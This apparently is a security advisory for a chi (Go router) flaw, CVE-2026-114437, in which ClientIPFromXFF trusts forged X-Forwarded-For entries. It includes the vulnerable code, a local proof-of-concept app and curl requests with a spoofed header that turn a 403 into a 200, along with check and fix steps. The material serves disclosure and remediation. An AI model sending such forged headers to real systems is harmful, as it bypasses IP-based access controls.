---
id: "CVE-2026-114437"
kind: "vulnerability"
aliases: ["CVE-2026-114437", "GHSA-j6qf-3m9c-vwj3"]
title: "chi: Client IP spoofing in ClientIPFromXFF via X-Forwarded-For"
severity: "medium"
cvss: 6.3
epss: 0.00126
exploited: false
status: "open"
category: "package"
products: [{"name": "github.com/go-chi/chi/v5", "fixed": ["5.4.0"], "affected": "<= 5.3.2", "ecosystem": "go"}]
ecosystems: ["go"]
tags: ["chi", "cwe-345", "go", "ip-allowlist", "package", "self-hosted"]
not_affected_if: ["chi-5.4.0-or-later", "no-clientipfromxff", "origin-not-reachable-directly"]
published_at: "2026-10-21T14:17:14+00:00"
first_seen_at: "2026-10-23T20:59:05+00:00"
updated_at: "2026-10-23T21:57:28+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-j6qf-3m9c-vwj3", "first_seen_at": "2026-10-23T20:59:05+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-114437", "first_seen_at": "2026-10-23T21:57:28+00:00"}]
---

# chi: Client IP spoofing in ClientIPFromXFF via X-Forwarded-For

The chi router's ClientIPFromXFF middleware trusts any X-Forwarded-For entry that falls inside a configured trusted CIDR without checking that the direct TCP peer is a trusted proxy. A client that can reach the Go server directly can forge its client IP and pass IP-based access checks on protected handlers.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- go:github.com/go-chi/chi/v5 affected <= 5.3.2 fixed 5.4.0

## How to check

grep -rn ClientIPFromXFF . in the Go source; check go.mod for github.com/go-chi/chi/v5 at 5.3.2 or earlier.

## Fix

Upgrade github.com/go-chi/chi/v5 to 5.4.0 or later.
Until then, make the origin reachable only through the trusted proxy.

## Timeline

- 2026-10-23T20:59:05+00:00 ghsa https://github.com/advisories/GHSA-j6qf-3m9c-vwj3
- 2026-10-23T21:57:28+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-114437

## From the sources

### Summary

`ClientIPFromXFF` skips any `X-Forwarded-For` entry in a configured trusted CIDR but never verifies that the direct TCP peer in `http.Request.RemoteAddr` belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by `middleware.GetClientIP`.

The attack is remote and requires one unauthenticated HTTP request with no user interaction (AV:N/AC:L/PR:N/UI:N). It changes security decisions and exposes one protected handler within the same application (S:U/C:L/I:L); no availability loss was observed (A:N).

**Preconditions:** The application uses `ClientIPFromXFF` and makes the origin server reachable by an anonymous client outside the configured trusted-proxy CIDRs. No victim interaction is required.

1. Send `GET /admin` directly to the origin with no `X-Forwarded-For` header.
2. Observe a `403 Forbidden` response and an empty derived client IP.
3. Repeat the request with `X-Forwarded-For: 10.0.0.7, 198.51.100.42`.
4. Observe `200 OK` and `client-ip="10.0.0.7"`. Expected: the untrusted direct peer prevents the forwarding chain from being accepted.

### Details

The vulnerable code is `ClientIPFromXFF` in `middleware/client_ip.go`, lines 93-116 at the tested revision. It calls `walkXFF` with only the attacker-controlled header, skips every entry that matches a trusted prefix, and stores the first remaining address:

```go
walkXFF(r.Header[xForwardedForHeader], func(v string) bool {
	ip, ok := parseHeaderAddr(v)
	if !ok {
		return true
	}
	if inAnyPrefix(ip, prefixes) {
		return false
	}
	found = ip
	return true
})
```

The function does not parse `r.RemoteAddr` before this walk. Consequently, the configured CIDRs identify trusted strings inside `X-Forwarded-For`, but do not establish that the immediate sender is one of those trusted proxies.

### Proof of concept

Using Go 1.24 or later, create and run this minimal application against the tested revision:

```sh
mkdir chi-clientip-poc
cd chi-clientip-poc
go mod init clientip-poc
go get github.com/go-chi/chi/v5@167e1e3bd039d060696b99c8da4e876ae04f42c1
cat > main.go <<'EOF'
package main

import (
	"fmt"
	"log"
	"net/http"

	"github.com/go-chi/chi/v5"
	"github.com/go-chi/chi/v5/middleware"
)

const allowedIP = "10.0.0.7"

func main() {
	r := chi.NewRouter()
	r.Use(middleware.ClientIPFromXFF("198.51.100.0/24"))
	r.Get("/admin", func(w http.ResponseWriter, r *http.Request) {
		clientIP := middleware.GetClientIP(r.Context())
		if clientIP != allowedIP {
			http.Error(w, fmt.Sprintf("denied: tcp-peer=%q client-ip=%q", r.RemoteAddr, clientIP), http.StatusForbidden)
			return
		}
		fmt.Fprintf(w, "allowed: tcp-peer=%q client-ip=%q\n", r.RemoteAddr, clientIP)
	})

	log.Print("listening on http://127.0.0.1:3001")
	log.Fatal(http.ListenAndServe("127.0.0.1:3001", r))
}
EOF
go run .
```

The no-header control was rejected:

```console
$ curl --http1.1 -i http://127.0.0.1:3001/admin
HTTP/1.1 403 Forbidden
Content-Type: text/plain; charset=utf-8
X-Content-Type-Options: nosniff
Date: Tue, 06 Oct 2026 15:46:27 GMT
Content-Length: 48

denied: tcp-peer="127.0.0.1:54416" client-ip=""
```

Adding the forged chain authorized the same direct client:

```console
$ curl --http1.1 -i -H 'X-Forwarded-For: 10.0.0.7, 198.51.100.42' http://127.0.0.1:3001/admin
HTTP/1.1 200 OK
Date: Tue, 06 Oct 2026 15:46:33 GMT
Content-Length: 57
Content-Type: text/plain; charset=utf-8

allowed: tcp-peer="127.0.0.1:54417" client-ip="10.0.0.7"
```

### Impact

I made an anonymous direct connection from `127.0.0.1`, supplied a header that ended in a different trusted-proxy CIDR, and caused the application to treat my client IP as the allowlisted `10.0.0.7`. This changed the authorization decision from `403 Forbidden` to `200 OK` for the protected handler.

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_